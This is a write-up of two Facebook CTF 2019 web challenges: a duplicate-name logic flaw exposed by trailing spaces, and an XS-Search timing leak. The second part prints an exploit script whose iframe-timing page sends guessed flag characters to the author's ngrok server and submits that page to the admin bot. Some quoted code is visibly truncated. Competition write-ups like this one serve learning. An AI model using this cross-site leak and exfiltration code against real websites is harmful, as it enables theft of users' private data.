Facebook CTF 2019 Writeup

Facebook CTF 2019 had been held from  June 1st, 2019 00:00:00 UTC to Monday, June 3rd, 2019 00:00:00 UTC. It was just an awesome CTF and I really loved the web challenges, Actually, I solve pwn and reverse challenges in the CTF's but in this CTF I started solving the product manager challenge and continued with the web challenges.

 I nearly spent one day to solve each of these two challenges along with my teammates @D1r3_Wolf and Sud0_u53r. πŸ˜ŒπŸ˜Œ

Product Manager [100pts web]

It is a very easy challenge but because of over thinking it took most of my time. The basic functionality of products manager is we can add private products and view them, and also it displays the top 5 products on the home page.

We are also provided with the source code initially, I thought there is some end point which is vulnerable to SQL Injection because I noticed a weird behavior in the home page which is top 5 products are changing which is not the case as per the source


function get_top_products() {
  global $db;
  $statement = $db->prepare(
    "SELECT name FROM products LIMIT 5"
  $res = $statement->get_result();
  $products = [];
  while ( ($product = $res->fetch_assoc()) !== null) {
    array_push($products, $product);
  return $products;

So I spent most of my time finding SQL injection, which ends up useless, because prepared statements and parameterized queries have used every were to prevent sqli, but a change in the top 5 products is still mysterious to meπŸ˜•πŸ˜•. Actually, the flag is in the description of the Facebook product.


CREATE TABLE products (
  name char(64),
  secret char(64),
  description varchar(250)

INSERT INTO products VALUES('facebook', sha256(....), 'FLAG_HERE');
INSERT INTO products VALUES('messenger', sha256(....), ....);
INSERT INTO products VALUES('instagram', sha256(....), ....);
INSERT INTO products VALUES('whatsapp', sha256(....), ....);
INSERT INTO products VALUES('oculus-rift', sha256(....), ....);
require_once("config.php"); // DB config


So our task is to somehow read the description of the Facebook product, the way products are created is fishy here because there is no primary key for the name, so if we somehow bypass the initial validation we can add fake products. Here is the source of the validation.

function handle_post() {
  global $_POST;

  $name = $_POST["name"];
  $secret = $_POST["secret"];
  $description = $_POST["description"];

  if (isset($name) && $name !== ""
        && isset($secret) && $secret !== ""
        && isset($description) && $description !== "") {
    if (validate_secret($secret) === false) {
      return "Invalid secret, please check requirements";

    $product = get_product($name);
    if ($product !== null) {
      return "Product name already exists, please enter again";

    insert_product($name, hash('sha256', $secret), $description);

    echo "<p>Product has been added</p>";

  return null;

function get_product($name) {
  global $db;
  $statement = $db->prepare(
    "SELECT name, description FROM products WHERE name = ?"
  $statement->bind_param("s", $name);
  $res = $statement->get_result();
  $product = $res->fetch_assoc();
  return $product;

By seeing the source we can clearly bypass the duplicate validation, here is how

Create a product with product name: facebook+some spaces
And the password you remember: xxxxxxxxxxxxxxxx
With some description: xxxxxxxxxxxxxx

Now the get_product function will check for the product facebook+somespaces in the database which is not there, and add it to the database by stripping the spaces, that's it we created a dupe for facebook. Now we have to log in with facebook:and_your_password which will be true and we will get the description of the top product.

There it is the damn flag!!!!!!!!!!, so it's basically a logical flaw.

secret note keeper [676pts web]

Here comes the awesome challenge, I really enjoyed solving this challenge but the bot messed up a lot, it took on average 10 mins to get the each character in the flag.

So, the basic functionality, 
  • Login with any password and username
  • Add notes
  • Search notes ( iframe 😱😱😱)
  • Report bugs

So, what is the vulnerability you are thinking? Is it XSS? Yes, I am that guy who thought XSS and spent literally 7 hours to find bugs related to XSS, sqli, CSRF, template injection and so on but its not the case. One thing for sure, when you report the bug, headless chrome which is the bot will visit the link you provided. 

Initial Recon

Keeping bot visiting the link we provided in the mind, I started my initial recon to find any misconfigured CORS, So I tried sending Origin: evil.com in the request header,

 And expecting Allow-Contol-Allow-Origin: * and Access-Control-Allow-Credentials: true. :)
But it is protected from CORS.

Now I am out of options, there is no XSS, no sqli, CSRF is there but I could not find any interesting chaining. 

After some time, DNS Rebinding Attack got into my mind to breach Same Origin Policy,

Then I spent some time on reading about DNS binding, previous writeups and registering domain, etc., Sh*t, Here comes the twist bot is not staying in the page we provided, it just opening the link and it won't stay in the page. Yet, I tried running the exploit, no result then I concluded that it is not the way.
     Source: w00tsec

So, I came to the conclusion that I have to check the writeup for the solution :(.

BOOM !! In 35c3 CTF, I saw a web challenge named filemanager which is about XS-Search/XS-Leaks, LiveOverflow made a video writeup after the challenge XS-Search abusing the Chrome XSS Auditor - filemanager 35c3ctf. Then I quicly revised the video and finally came to an exploit with the help of teammates.

Things I observed during recon
  • Every page of the website is frameable, which means we can embed the website in the site we control. 
  • While searching notes, the server will behave like a sql like operator, if the value is found in notes it will embed the notes in a iframe and gives the response.

Part of the source:

  • If the no notes is matched with the query, page will load quickly because it doesn't have the overhead of loading iframes. (keep it in mind)
  • To send a report to the admin, we have to solve a Proof of Work, which can be easily done.


Here are the steps to get the flag which is in one of the admin note.
  1. Spin up a ngrok server on port 80 along with the xampp.
  2. Create a page (index.html) which tells how much time it took to load a iframe which embeds the http://challenges.fbctf.com:8082/search?query=fbctf{ page. (Challenge's search page). And it has to send back the time to load a iframe and query value back to the server we control. Lets say it is http://myserver.ngrok.io/send.php?time=time&query=flag
  3. Create another page (send.php) which catches the request send by index.html and saves the paremeters time and flag in the txt file
  4. Now the main exploit script exploit.sh pseudo code
             while True:
              flag = ""
              For i in printable_characters:   
                          flag = flag+i
                         1.  Update the iframe src with  
                                  ("http://challenges.fbctf.com:8082/search?query=" +flag) in index.html
                         2. Solve the Proof of work
                         3. Send a report with the url of our server which                                 
                             is http://myserver.ngrok.io/index.html
                         4. If the time>120: 
                                       flag = flag+i
That's it

Here is the exploit.sh



while read c1; 
  data="$(sh ./get.sh)";
  echo "${data}";

  hash="$(go run pow.go $data)";

  echo "${hash}";


  echo $flag;

  html="<!DOCTYPE html>

  var flag=\"${flag}\"
  var url =  \"http://challenges.fbctf.com:8082/search?query=\"+flag;

    var iframe = document.createElement('iframe');
  iframe.setAttribute('t1', (new Date()).getTime());
  iframe.onload = function () {
      var t2 = (new Date()).getTime();
      var out = ( t2 - parseInt(this.getAttribute('t1')));

     var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
      xhttp.open(\"GET\", \"http://987bd815.ngrok.io/fbctf/send.php?time=\"+out+'&flag='+flag, true);
      xhttp.withCredentials = true;




  echo "$html" > "$htmlDir";
  curl "http://challenges.fbctf.com:8082/report_bugs" -X POST --data "title=msrk&body=msrk&link=http://987bd815.ngrok.io/fbctf/index.html&pow_sol=${hash}" --cookie-jar cookies.txt --cookie cookies.txt;
done < $iterate


For full exploit link to the github: Github



Post a Comment